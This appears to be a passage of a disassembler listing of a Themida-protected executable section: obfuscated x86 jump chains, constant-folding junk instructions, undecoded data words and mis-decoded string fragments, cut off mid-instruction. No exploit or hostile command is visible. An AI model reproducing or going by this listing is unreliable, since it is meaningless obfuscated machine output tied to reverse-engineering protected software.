CODE XREF: Themida_:005649B3j sub esp, 4 mov [esp], eax mov eax, 2AE14F9Ah xor ebx, eax mov eax, [esp] add esp, 4 add ecx, 7A4B7292h add ecx, ebx sub ecx, 7A4B7292h jmp loc_558DC8 ; --------------------------------------------------------------------------- dd 54241C89h, 4C3815Bh, 55000000h, 2BDh, 56BFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5549B6: ; CODE XREF: Themida_:0055EDB9j pop esp mov [esp], ecx mov eax, [esp] add esp, 4 pop ecx push ecx push ebx push dword ptr [esp] pop ecx add esp, 4 pop ebx sub esp, 4 jmp loc_556E44 ; --------------------------------------------------------------------------- dw 895Ch dd 0CD68241Ch, 5400002Ah, 8124048Fh, 42404h, 1C8B0000h dd 4C48324h, 4C381h, 0B9510000h, 52CA53E5h, 55D8F181h dd 0E9810045h, 0FFFFFFFFh, 159CE981h, 0BB532854h, 2A3AF0A0h dd 3DE9D929h, 2D00005Ah, 4, 2474FF50h, 48F5804h, 2CE95C24h dd 81FFFFFFh, 4C4h, 1E7B0D00h, 4405083Ah, 5520E0Fh, 6F72B23Fh dd 5358C301h, 42474FFh, 0FFE75AE9h, 0BB535FFFh, 0 dd 0EDE9FB29h, 54000057h, 0E924048Fh, 5E36h, 8877C781h dd 0E951B031h, 1100Ch ; --------------------------------------------------------------------------- loc_554A74: ; CODE XREF: Themida_:0055C339j add eax, 4 xchg eax, [esp] jmp loc_55B721 ; --------------------------------------------------------------------------- db 0B5h, 29h, 0 dd 0EA8059EAh, 5AD408BBh, 0E90EC480h, 0FFFFE151h, 0D330A9B3h dd 7BCCE9h, 14F65200h, 0BE7E924h db 1, 0 ; --------------------------------------------------------------------------- loc_554AA6: ; CODE XREF: Themida_:0055BAD4j and dl, 30h or dl, 0E4h or dl, 0D2h jmp loc_56404D ; --------------------------------------------------------------------------- dd 3DC2815Eh, 0E96E0867h, 0FFFFDC7Ch ; --------------------------------------------------------------------------- loc_554AC0: ; CODE XREF: Themida_:00559DD9j xor esi, edx xor edx, esi jmp loc_560B3A ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FFF79BE9h, 243487FFh, 1489665Ch, 0CB07E924h, 0F12D0000h dd 5D0A9311h, 0E05D001h, 0FF55ED4Dh, 835A2434h, 20504C4h dd 0E9000000h, 0D363h, 68F8C4BAh, 499AE9D2h, 89500000h dd 405E0h, 2AE90000h, 3100006Ah, 24348BF1h, 0E904C483h dd 0DF72h ; --------------------------------------------------------------------------- loc_554B20: ; CODE XREF: Themida_:005607D4j add esp, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55A183 ; --------------------------------------------------------------------------- aZskr db ')ΦZιKr',0 align 4 dd 8306EAC1h, 0F6E9FFC2h, 0B8000071h, 6E7309Eh, 0D102E0C1h dd 0D0F740E0h, 3984F605h, 0E9C28937h, 534Ah ; --------------------------------------------------------------------------- loc_554B60: ; CODE XREF: Themida_:0055DD4Fj mov ebp, [esp] jmp loc_564392 ; --------------------------------------------------------------------------- dd 7BE9474Fh, 100011Eh, 0C58158C5h, 1, 0E92AE9h db 0 ; --------------------------------------------------------------------------- loc_554B7D: ; CODE XREF: Themida_:0055CB35j sub bl, 1Ah mov ecx, [esp] push edi jmp loc_55F527 ; --------------------------------------------------------------------------- db 1, 0EAh, 8Bh dd 0C483242Ch, 0CCE95004h, 29000067h, 0DB055EF0h, 0FF39DC3Dh dd 835B2434h, 685304C4h, 154F7C20h, 79BF575Bh, 0E9328C7Bh dd 0F081h, 0BE56C801h, 3B632AD9h, 8904EC83h, 0D9BB241Ch dd 81557F2Eh, 6F03CCF3h, 76F9E93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_554BD6: ; CODE XREF: Themida_:0056580Aj add edx, ebp pop ebp xchg edx, [esp] mov esp, [esp] push ebx mov ebx, esp push 393h mov [esp], eax mov eax, 0CF10F46h sub eax, 187431AEh shl eax, 6 sub eax, 1F3765FCh jmp loc_553B36 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 2FE90000h, 5400003Ah, 62BE5658h, 815D1D79h dd 4ECh, 0E84E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554C22: ; CODE XREF: Themida_:0055EB7Dj jmp loc_552579 ; --------------------------------------------------------------------------- db 0FEh dd 6E2C0CAh, 0E951C2FEh, 8F13h, 8904EC83h, 68552414h, 0C5C31D6h dd 8BE9455Dh, 89000014h, 14F72434h, 0F6815E24h, 22157FCCh dd 238CE9h db 0 ; --------------------------------------------------------------------------- loc_554C59: ; CODE XREF: Themida_:00567030j mov ecx, 7AF3671Bh sub ebx, 148F655Dh add ebx, ecx push edx mov edx, 148F655Dh add ebx, edx pop edx jmp loc_558C6F ; --------------------------------------------------------------------------- dd 8324148Bh, 805904C4h, 98E942EBh, 81000108h, 143A2DEEh dd 0C4E68129h, 813C144Fh, 6014FAC6h, 5EF72987h, 89FB8953h dd 0E95F5BD9h, 9E2Ch, 34776851h, 0E9590BCDh, 7E53h ; --------------------------------------------------------------------------- loc_554CB0: ; CODE XREF: Themida_:0055ACCBj push 62472A8Fh jmp loc_567AB7 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4A1DE924h, 0CD30000h, 48E99C24h, 5900011Fh, 0F028A104h dd 81B4E953h, 34FF0000h, 0A0E95F24h, 5B0000B4h, 0E95FFD89h dd 9ACh, 81241C89h, 4ECh, 24248900h, 4BD55h, 6C010000h dd 8B5D0424h, 0C483241Ch, 4BF5704h, 1000000h, 68685FFBh dd 89000003h, 7468242Ch, 89000022h, 68552404h, 47412803h dd 0FFF8D7E9h, 148966FFh, 0E0BA6624h, 0E9526643h, 378Fh dd 14F65266h, 148B6624h, 2C48124h, 83000000h, 5BE904ECh dd 0BAFFFFFAh, 1AFD6F09h, 0C021E94Ah, 34FF0000h, 2434FF24h dd 6069E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D66: ; CODE XREF: Themida_:0055554Bj mov esi, edx mov ebx, esi pop esi mov edx, [esp] add esp, 4 shl ebx, 7 shr ebx, 3 jmp loc_55E583 ; --------------------------------------------------------------------------- loc_554D7C: ; CODE XREF: Themida_:00553F38j xchg ecx, [esp] mov esp, [esp] jmp loc_55D9ED ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 2DF80104h, 288B0D47h, 8B2434FFh, 0C483243Ch dd 4EC8304h, 0D3BEE9h, 0C4835F00h, 0D6C68104h, 0E92EE565h dd 0A891h, 702EBB53h, 0D8012369h, 0BF0AE95Bh, 0C4810000h dd 4, 0C17C3005h, 1EAAE93Eh, 77FF0001h, 58669D1Ch, 9C240410h dd 0D6AFE9h, 33326800h, 0E95A4880h, 7872h ; --------------------------------------------------------------------------- loc_554DEC: ; CODE XREF: Themida_:0055A2CDj add eax, 4B8E5A56h mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 172B66E5h or ebp, 68BD07B9h jmp loc_55FF6C ; --------------------------------------------------------------------------- loc_554E13: ; CODE XREF: Themida_:00562E23j pop edx sub esi, ecx pop ecx jmp loc_565103 ; --------------------------------------------------------------------------- loc_554E1C: ; CODE XREF: Themida_:005618FBj push edi mov edi, 11107CD4h xor edi, 4BB3423h jmp loc_55E7CC ; --------------------------------------------------------------------------- db 29h, 0D0h, 0FFh dd 54E92434h, 3100012Eh, 31EA31D5h, 31D2F7D5h, 31EA31D5h dd 96E995D5h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554E4B: ; CODE XREF: Themida_:00566AB7j add edx, 659E36BAh add edx, ebp sub edx, 659E36BAh pop ebp jmp loc_55527F ; --------------------------------------------------------------------------- db 89h dd 60BD242Ch, 0C1143C29h, 0EDC106EDh, 8DC58106h, 810D8B08h dd 28E582C5h, 5DEE2911h, 4C2BBD55h, 0C581220Ch, 7511E5Dh dd 62A1ED81h, 0DDF70C35h, 0F581D5F7h, 15427C8h, 0E95DEB01h dd 2381h, 5304C483h, 5DE2FFBBh, 0E672E981h, 31ADFFFFh dd 304868D8h, 0E90000h, 8300002Ah, 0C8904ECh, 1050B924h dd 42E96B06h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_554ECB: ; CODE XREF: Themida_:00567362j pop eax add esi, 6CD33889h jmp loc_55ABD6 ; --------------------------------------------------------------------------- db 89h dd 400E9E7h, 0BF570001h, 7E9946C6h, 51DFE94Fh, 68AD0000h dd 1483h, 0E9241C89h, 0C981h ; --------------------------------------------------------------------------- loc_554EF8: ; CODE XREF: Themida_:0056595Ej mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx pop eax push 2B0h mov [esp], esi jmp loc_557418 ; --------------------------------------------------------------------------- dd 4C681h, 34870000h, 0F5815C24h, 0E4203FAh, 27ACE957h dd 0ED810001h, 6DA30942h, 0E9ED814Dh, 8994805Dh, 28685DE8h dd 89000053h, 0C389241Ch, 1C8BDD89h, 4C48324h, 2B0FE9h dd 7DC7BA00h, 0D301536Bh, 28B2E9h db 0 ; --------------------------------------------------------------------------- loc_554F5D: ; CODE XREF: Themida_:00557570j xor eax, [esp] xor [esp], eax jmp loc_55B60E ; --------------------------------------------------------------------------- dd 88CE8852h, 0FD02E9F0h, 0ED81FFFFh, 0CAA1823h, 100CDE9h dd 4F3D6800h, 1C890000h, 2474FF24h, 48F5B04h, 36E95C24h dd 5500009Eh, 5626E2BDh, 5DEA3166h, 0E95AD131h, 376Fh dd 685BDD29h, 48B5h, 0BE243489h, 9492471h, 0DD4DE9h, 24148700h dd 2434895Ch, 416A68h, 24248900h, 2112E9h db 0 ; --------------------------------------------------------------------------- loc_554FCD: ; CODE XREF: Themida_:00564C26j not edx push ebx mov ebx, 6B3A7DD3h inc ebx xor ebx, 25D00698h xor ebx, 74F3638Ah or edx, ebx pop ebx xchg ebp, edx not ebp xchg ebp, edx sub edx, 33982D96h sub edx, 958EB365h jmp loc_55DB07 ; --------------------------------------------------------------------------- loc_554FFC: ; CODE XREF: Themida_:0055DB15j mov edx, [esp] add esp, 4 shl ecx, 2 and ecx, 522D130Eh not ecx add ecx, 1 not ecx push ebp jmp loc_5551D4 ; --------------------------------------------------------------------------- loc_55501B: ; CODE XREF: Themida_:00555D11j mov [esp], cx jmp loc_552579 ; --------------------------------------------------------------------------- dd 5D09C281h, 0C281371Fh, 6C754C06h, 4BD5558h, 0E9000000h dd 4FBDh, 3C8BF829h, 4C48124h, 0E9000000h, 207Eh, 8904EC83h dd 0D2E92414h, 890000EFh, 0E8BB241Ch, 29776E37h, 0D0015BD8h dd 4A3FBB53h, 0CB812744h, 32D0585Fh, 0DD69C381h, 0D8013F99h dd 0E9241C8Bh, 86EAh, 0CB6ECA05h, 2DF00129h, 29CB6ECAh dd 8904EC83h, 6BF243Ch, 0F7786E3Ah, 0A2BE56D7h, 0E94D1B7Ah dd 9B3Fh, 895E5956h, 0A9EFE9CAh, 2C8B0000h, 4C48124h, 81000000h dd 4C5h, 64E95200h, 8900005Dh, 50E92414h db 0ECh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5550CB: ; CODE XREF: Themida_:005530C0j or ecx, ebx pop ebx inc ecx add ecx, 475C069Ah shr ecx, 6 jmp loc_55A3C9 ; --------------------------------------------------------------------------- loc_5550DD: ; CODE XREF: Themida_:00558538j mov [esp], ebx mov esi, [esp] add esp, 4 push dword ptr [esp] pop ebx sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_554716 ; --------------------------------------------------------------------------- dw 0CD01h dd 83240C8Bh, 0FF5504C4h, 0FF042474h, 815D2434h, 4C4h dd 24048F00h, 0E924248Bh, 0FFFFD45Dh, 2011E95Eh, 4810001h dd 0B11ACA24h, 2404297Eh, 0CA242C81h, 0E97EB11Ah, 0EEE4h dd 0B4C38158h, 1516303h, 0B4EB81F3h, 0E9516303h, 11447h dd 5A4390BAh, 56D2F761h, 0FFF0A1E9h, 81E901FFh, 0E8102AE9h dd 0BE565D05h, 708303Ch, 615BE94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55516E: ; CODE XREF: Themida_:0055C7EAj inc ebx and ebx, 71807EAEh sub ebx, 71806020h add ebp, ebx pop ebx xchg ebp, [esp] pop esp add ecx, eax sub ecx, 93E7452h push edx mov edx, 5D21279Eh sub edx, 17483A72h not edx not edx shr edx, 3 xor edx, 55FA6E8Ch sub ecx, edx pop edx mov [ecx], edi push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] jmp loc_55F2B9 ; --------------------------------------------------------------------------- loc_5551BA: ; CODE XREF: Themida_:0055EA9Aj push ecx mov ecx, ebp push ecx jmp loc_555D7B ; --------------------------------------------------------------------------- loc_5551C3: ; CODE XREF: Themida_:005546C1j movzx eax, al jmp loc_560347 ; --------------------------------------------------------------------------- db 89h dd 0E952240Ch, 0FFFFEBE9h ; --------------------------------------------------------------------------- loc_5551D4: ; CODE XREF: Themida_:00555016j mov ebp, 1542631Ah sub ebp, 3787FFCh shr ebp, 1 sub ebp, 0B05048Ah add ecx, ebp pop ebp jmp loc_55F3AA ; --------------------------------------------------------------------------- aQissw3 db 'Qαιw3',0 dw 8000h dd 0D9F6ACF1h, 8646E980h, 86D7F6F9h, 80C1FEF9h, 0C800C9E9h dd 0B58BE959h, 0C5810000h, 4, 3120E9h, 27C38100h, 8B4A4435h dd 34E9240Ch, 830000D1h, 72E904C4h, 81000017h, 353327E9h dd 57C10140h, 0ED429DBFh, 8AC78159h, 1E647F0h, 48B5FF9h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 3304C183h dd 0C31240Ch, 240C3324h, 0E924248Bh, 3E18h, 281BEB80h dd 0FEE952C3h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55527F: ; CODE XREF: Themida_:00554E5Aj xchg edx, [esp] jmp loc_5670B9 ; --------------------------------------------------------------------------- dd offset dword_58C228 db 0D3h dd 8124148Bh, 4C4h, 24148B00h, 0F04C483h, 8B66C0B6h, 85682414h dd 0E9000073h, 9D34h, 0EDE9D801h db 6, 1, 0 ; --------------------------------------------------------------------------- loc_5552B3: ; CODE XREF: Themida_:00557CEAj mov eax, 3723E847h push eax sub dword ptr [esp], 179031F2h jmp loc_560216 ; --------------------------------------------------------------------------- loc_5552C5: ; CODE XREF: Themida_:0055B43Ej pop edx add esp, 4 jmp loc_559E5E ; --------------------------------------------------------------------------- dw 248Bh dd 0E1F76624h, 5E08950h, 4, 42Dh, 24048700h, 0C675E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5552EA: ; CODE XREF: Themida_:0055870Ej mov [esp], esp push ebp push edx mov edx, 4 mov ebp, edx mov edx, [esp] add esp, 4 add [esp+4], ebp pop ebp pop ebp add ebp, 4 push 3753h jmp loc_55D369 ; --------------------------------------------------------------------------- loc_555312: ; CODE XREF: Themida_:0055A453j mov eax, [edx] jmp loc_55999D ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0CF6DBDB8h, 3B322D5Ah, 0D1402EEFh, 7D122DE8h, 610510A9h dd 0C1FDF2D1h, 520503E8h, 0E9FF98D2h, 0B5AFh, 523877FFh dd 674168h, 48F5400h, 0C6E95724h, 53000100h, 477BE9h, 0BA525800h dd 3E2D465Ah, 5862F281h, 81422FB4h, 66E1CBC2h, 0A2E0E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555372: ; CODE XREF: Themida_:0055DD66j dec esi neg esi sub esi, 3C8E0F74h add ebx, esi pop esi sub esp, 4 mov [esp], eax jmp loc_55D6F3 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 81000000h, 4C6h, 0A11EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55539A: ; CODE XREF: Themida_:0055C1F7j inc eax xor eax, 0CBAEA7BEh jmp loc_55472D ; --------------------------------------------------------------------------- db 68h, 0CFh, 60h dd 0C5E90000h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5553AF: ; CODE XREF: Themida_:005628DDj pop eax add esp, 4 add bl, 13h jmp loc_55946B ; --------------------------------------------------------------------------- loc_5553BE: ; CODE XREF: Themida_:00565D7Fj pop esp push ebp pop ebx jmp loc_563266 ; --------------------------------------------------------------------------- dw 348Bh dd 0F2A8E924h, 34FF0000h, 0C4815824h, 4, 0C76DE9h db 0 ; --------------------------------------------------------------------------- loc_5553DD: ; CODE XREF: Themida_:005649FDj xor bl, 85h jmp loc_565DC4 ; --------------------------------------------------------------------------- db 0E9h, 8Fh, 0D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5553EA: ; CODE XREF: Themida_:0056000Dj mov esi, [esp] jmp loc_566FF5 ; --------------------------------------------------------------------------- loc_5553F2: ; CODE XREF: Themida_:00562B5Dj and ebx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push esi mov esi, esp sub esp, 4 mov [esp], ebx push ebp jmp loc_56372A ; --------------------------------------------------------------------------- dd 0C07773BDh, 3E5C167h, 287368h, 0F3CCE900h, 0BF57FFFFh dd 28830829h, 11EC8E9h, 24043300h, 0E9240431h, 35D7h, 0E318E955h dd 0E95DFFFFh, 0FE06h ; --------------------------------------------------------------------------- loc_555440: ; CODE XREF: Themida_:0055C00Bj not ebx not ebx add ebx, 0FFFFFFFFh shl ebx, 5 push ebp push ebx mov ebx, 6E014ED6h mov ebp, 804CBACBh xor ebp, ebx pop ebx sub ebx, ebp mov ebp, [esp] add esp, 4 mov edx, ebx mov ebx, [esp] add esp, 4 push esi push 0BEF6A47h pop esi not esi jmp loc_56368F ; --------------------------------------------------------------------------- db 5 dd 57FF3B96h, 4B324A05h, 0DFD2E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555486: ; CODE XREF: Themida_:0056475Dj xchg eax, [esp] mov esp, [esp] jmp loc_552579 ; --------------------------------------------------------------------------- db 57h, 0BFh, 37h dd 2113DA1Fh, 7FE95FF9h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_55549F: ; CODE XREF: Themida_:0056712Ej add esp, 4 pop dword ptr [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push 7A112F24h pop edx jmp loc_563327 ; --------------------------------------------------------------------------- db 68h, 0A5h, 2 dd 14890000h, 2474FF24h, 0F48EE904h, 8950FFFFh, 0EBE952E0h db 18h, 1, 0 ; --------------------------------------------------------------------------- loc_5554E3: ; CODE XREF: Themida_:00556A7Ej add edi, 479E3976h xor ebp, edi pop edi jmp loc_55C6AE ; --------------------------------------------------------------------------- loc_5554F1: ; CODE XREF: Themida_:00561642j pop esi push 0D7584CCEh pop ebx sub ebx, edi jmp loc_552C3C ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 2434FF24h, 8E01E9h, 5DC58100h, 1767341h dd 0C2815DEAh, 4, 5C241487h, 0DCD8E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555526: ; CODE XREF: Themida_:00561952j add ch, al add ch, 0B4h mov eax, [esp] add esp, 4 jmp loc_55D5F2 ; --------------------------------------------------------------------------- loc_555539: ; CODE XREF: Themida_:00566FF0j mov ecx, 207330F6h xor edx, ecx pop ecx shr edx, 2 sub edx, 0CD80A6E8h push esi jmp loc_554D66 ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 0EC835024h, 241C8904h, 559BA52h dd 0CA815E03h, 0BAC0CFAh, 89E8E9h, 8E6C100h, 68h, 24342900h dd 0E9D6F75Eh, 0C8AFh, 15AD529h, 0C875DE9h, 24248B24h dd 6A32E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555596: ; CODE XREF: Themida_:00557E73j mov eax, 146119CDh mov edi, 4FA5EFE4h push esi mov esi, 6F18387Bh add edi, esi pop esi add edi, eax push esi mov esi, 6F18387Bh sub edi, esi mov esi, [esp] jmp loc_55AD94 ; --------------------------------------------------------------------------- aIsS db 'ι]ι%"',0 dw 8900h dd 4C181E1h, 83000000h, 0C8704E9h, 0C895C24h, 9E65E924h dd 0F3810000h, 13C5E487h, 0E95BDE09h, 1064Bh ; --------------------------------------------------------------------------- loc_5555E8: ; CODE XREF: Themida_:0055FFE6j mov al, 0AAh sub ch, al pop ax sub ch, bh add ch, 0AAh pop bx add ch, ah add ch, 7Ah pop eax push edx mov dl, 1Ah jmp loc_55A810 ; --------------------------------------------------------------------------- loc_555603: ; CODE XREF: Themida_:00566878j mov eax, [esp] add esp, 4 add esp, 4 jmp loc_55D20B ; --------------------------------------------------------------------------- aSc_0 db '\ι',1Bh,0 dd 5BFA8800h, 424448Ah, 4245488h, 5A2434FFh, 59C568h, 0E0B3E900h dd 0E1810000h, 365F1A3Dh, 5B595351h, 0C1D9874Bh, 0E66807E9h dd 0E900005Dh, 0CEEEh, 8E1C149h, 6B89E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55565A: ; CODE XREF: Themida_:0056612Cj mov [esp], ecx mov ecx, 0FA804805h jmp loc_5649B8 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24248900h, 4240481h, 5D000000h, 4BB53h, 0DD010000h dd 0FFE249E9h db 0FFh ; --------------------------------------------------------------------------- loc_555685: ; CODE XREF: Themida_:00562D01j mov esi, 2ADD0985h add edi, esi pop esi not edi jmp loc_560D28 ; --------------------------------------------------------------------------- dd 0E3E9E801h, 580000BDh, 6605EEC0h, 9DB15153h, 5259CB88h dd 2404E9h db 0 ; --------------------------------------------------------------------------- loc_5556AD: ; CODE XREF: Themida_:00563042j mov [esp], ebx push ebp jmp loc_563E2C ; --------------------------------------------------------------------------- dw 0C481h dd 4, 6856EB01h, 33BA1978h, 3C64E95Eh, 2EB90000h, 55236970h dd 8E25FCBDh, 0CBE9531Dh, 83000028h, 0C8704C1h, 0FF575C24h dd 0E9042474h, 8DD9h, 5C241487h, 66EB8766h, 8766D5F7h dd 0A811E9EBh, 24890000h, 4BF5724h, 81000000h, 0D5042444h dd 100734Dh, 0E904247Ch, 0F85Eh, 348BF031h, 4C48124h, 0E9000000h dd 193Ch ; --------------------------------------------------------------------------- loc_555728: ; CODE XREF: Themida_:00566BB8j add bl, 0D9h jmp loc_561411 ; --------------------------------------------------------------------------- dd 0B9240C89h, 0 dd 8159C889h, 4ECh, 0F911E900h, 8F5EFFFFh, 15C2404h, 24148BD5h dd 4C481h, 0E9550000h, 11AA9h, 794AEF81h, 0C15D3E4Ch, 0C78105EFh dd 1F0D75EEh, 0B5F9E9h, 24048100h, 4, 1103AE9h, 462D4000h dd 353BF61Ch, 0BA749A1Ah, 0E958C589h, 0FFFFD11Ah, 6287C281h dd 9FE950C8h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55579B: ; CODE XREF: Themida_:0055803Fj add eax, edx add eax, 5AEF684Ch mov edx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg eax, [esp] pop esp jmp loc_561D7C ; --------------------------------------------------------------------------- loc_5557C1: ; CODE XREF: Themida_:005677F5j pop ebx add ebx, 65B934CBh pop esi pop ecx jmp loc_553EDB ; --------------------------------------------------------------------------- db 51h dd 0FFE471E9h db 0FFh ; --------------------------------------------------------------------------- loc_5557D5: ; CODE XREF: Themida_:0055B34Aj add esp, 4 push ebp jmp loc_562B2A ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 815B5453h, 4C3h, 10A6E900h, 0EC830001h, 241C8904h dd 0F9AE9h, 81E58900h, 4C5h, 0DB9FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55580A: ; CODE XREF: Themida_:0055B41Dj pop ebp and ebp, 5E6664CAh sub ebp, 1 inc ebp jmp loc_55E0FC ; --------------------------------------------------------------------------- dw 0B168h dd 89000079h, 85E9241Ch db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555827: ; CODE XREF: Themida_:005643A5j add ebx, 15CF1B6Eh mov esi, 803FE12Ch xor esi, ebx pop ebx add esi, 206F3A48h add esi, 5C7A3D65h add esi, edx sub esi, 5C7A3D65h jmp loc_56630C ; --------------------------------------------------------------------------- loc_55584E: ; CODE XREF: Themida_:005620C4j add edx, ebp pop ebp jmp loc_559510 ; --------------------------------------------------------------------------- loc_555856: ; CODE XREF: Themida_:0055FA64j pop esp jmp loc_565882 ; --------------------------------------------------------------------------- aWWsqsA db 'WΏ',0Dh,'Wιqι(a',0 db 0 ; --------------------------------------------------------------------------- loc_555867: ; CODE XREF: Themida_:0055284Fj mov ebp, 149B395Ch dec ebp xor ebp, 380EA0AFh sub edi, ebp jmp loc_55FA76 ; --------------------------------------------------------------------------- dw 1487h aS0 db '$\ιΑ0',0 dw 2000h aIsil db 'λ騫',0 align 2 dw 5D5Dh dd 89F98951h, 15F59C8h, 24048BC7h, 4C481h, 19E90000h, 5F000009h dd 17E95745h, 87000061h, 8F5C2414h, 248B2404h, 0C8B6624h dd 0E0895024h, 0FDBB5355h, 812FDC0Eh, 4B37ADC3h, 0DBE3812Ch dd 0C150F84Fh, 31E906EBh, 1000015h, 2C335FFDh, 242C3124h dd 8B242C33h, 4002424h, 8AE99C24h, 0BFFFFFCCh, 0B7540C2h dd 3EE8EA81h, 0FA2977E9h, 3EE8C281h, 3C8B77E9h, 4C48324h dd 148BD601h, 4C48124h, 0E9000000h, 0FF06h ; --------------------------------------------------------------------------- loc_555918: ; CODE XREF: Themida_:0055B6A0j shr edx, 6 add edx, 0FEA949C1h add esi, edx pop edx add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] mov esp, [esp] push edi mov edi, 242B683Ch jmp loc_560B8D ; --------------------------------------------------------------------------- db 0B9h dd 4C670241h, 11C29E9h db 0 ; --------------------------------------------------------------------------- loc_555945: ; CODE XREF: Themida_:0055EE55j pop edi push esi mov esi, ecx mov eax, esi pop esi jmp $+5 mov ecx, [esp] add esp, 4 jmp loc_55FB52 ; --------------------------------------------------------------------------- loc_55595F: ; CODE XREF: Themida_:00562A8Dj sub esp, 4 jmp loc_55FFA4 ; --------------------------------------------------------------------------- loc_55596A: ; CODE XREF: Themida_:0055D0EBj mov ebx, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 69BD0A4Dh not edx jmp loc_553A4A ; --------------------------------------------------------------------------- dw 248Bh dd 0CBEFE924h, 2489FFFFh, 24048124h, 4, 4C6815Eh, 81000000h dd 4ECh, 0F987E900h, 0EE810000h, 384E4ACCh, 0C8A4E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5559B2: ; CODE XREF: Themida_:0055B974j mov [esp], edx mov edx, 711A357Bh xor ebx, edx jmp loc_56323F ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 87000000h, 0E95C241Ch, 0FFFFD130h, 51E4C181h, 815B58E8h dd 0F475F3F1h, 13E98125h, 1B3E4A6h, 43359C8h, 24043124h dd 8B240433h, 0A9E92424h, 5200007Eh, 4BAh, 24540100h, 24148B04h dd 4C481h, 0DFE90000h, 5E0000DBh, 85DB850h, 9BE95658h db 0E8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555A1B: ; CODE XREF: Themida_:005659FBj add ebp, 38FC73F5h add ebp, 372A2608h inc ebp push edi mov edi, 20D2D563h jmp loc_553232 ; --------------------------------------------------------------------------- db 0F7h dd 2E3C1D3h, 4CC0F381h, 0DD017255h, 0C501585Bh, 0A4E6E9h db 0 ; --------------------------------------------------------------------------- loc_555A49: ; CODE XREF: Themida_:005623C5j add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] pop esp shl ecx, 3 push ebp mov ebp, 74E1500Eh and ecx, ebp pop ebp sub ecx, 532C5E85h push edi mov edi, 130B1E89h jmp loc_5620EA ; --------------------------------------------------------------------------- loc_555A79: ; CODE XREF: Themida_:00553300j not ecx jmp loc_5608C4 ; --------------------------------------------------------------------------- db '\h(:',0 align 2 dw 1C89h aSR db '$ιΑr',0 align 2 loc_555A8E: ; CODE XREF: Themida_:00561D98j push esi mov esi, 3F927130h jmp loc_560F50 ; --------------------------------------------------------------------------- db 68h, 2Eh, 7Dh dd 0C890000h, 6517E924h, 4890000h, 595AB824h, 0B0685F4Bh dd 8900001Ch, 86BF243Ch, 0E954CD76h, 10FBAh ; --------------------------------------------------------------------------- loc_555AC0: ; CODE XREF: Themida_:0055B9B4j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebp jmp loc_5592B0 ; --------------------------------------------------------------------------- dw 0E5C0h dd 79F58006h, 0FFFDA2E9h, 774D2DFFh, 0E95D6AF0h, 0EBA2h dd 4C481h, 0C6810000h, 4, 5D8B68h, 24148900h, 0ED5A9BBAh dd 67C28172h, 818D12A5h, 974065EEh, 53D60120h, 2B0E71BBh dd 0AEB6E905h, 0D1F70000h, 8C9FF181h, 0CF016F89h, 5FF80159h dd 0C9BF5755h, 8947B902h, 0DBDFE9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B3A: ; CODE XREF: Themida_:00553971j push dword ptr [edi+eax*4] jmp loc_55E79B ; --------------------------------------------------------------------------- dw 0C33h dd 24248B24h, 81240C89h, 4ECh, 48F5400h, 24048324h, 55565904h dd 0F44FB7BDh, 68F5816Ah, 0E92F252Ah, 0FFFFEBF6h ; --------------------------------------------------------------------------- loc_555B6C: ; CODE XREF: Themida_:0055E379j mov ecx, [esp] push 29CDh mov [esp], ebx mov ebx, esp jmp loc_557827 ; --------------------------------------------------------------------------- loc_555B7E: ; CODE XREF: Themida_:0055701Ej push dword ptr [edi+eax*4] sub esp, 4 jmp loc_564037 ; --------------------------------------------------------------------------- loc_555B8C: ; CODE XREF: Themida_:0055B0A6j mov ebx, 0D92C2D5Dh mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_56350E ; --------------------------------------------------------------------------- loc_555B9E: ; CODE XREF: Themida_:00561471j add 